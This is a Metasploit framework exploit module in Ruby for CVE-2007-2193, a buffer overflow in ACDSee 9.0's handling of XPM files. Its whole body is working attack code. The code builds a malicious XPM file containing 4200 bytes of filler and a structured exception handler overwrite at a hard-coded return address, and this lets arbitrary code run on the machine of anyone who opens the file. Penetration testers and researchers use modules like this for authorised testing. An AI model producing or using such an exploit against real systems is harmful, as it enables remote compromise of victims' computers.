ACDSee – ‘.XPM’ File Section Buffer Overflow (Metasploit)
## # $Id: acdsee_xpm.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'ACDSee XPM File Section Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in ACDSee 9.0. When viewing a malicious XPM file with the ACDSee product, a remote attacker could overflow a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => 'MC', 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2007-2193' ], [ 'OSVDB', '35236' ], [ 'BID', '23620' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00", 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Nov 23 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xpm']), ], self.class) end def exploit filler = rand_text_alpha_upper(rand(25) + 1) # http://www.fileformat.info/format/xpm/ head = "/* XPM */\r\n" head << "static char * #{filler}[] = {\r\n" head << "\"" buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret) foot = "\",\r\n" + "};\r\n" xpm = head + buff + foot print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(xpm) end end |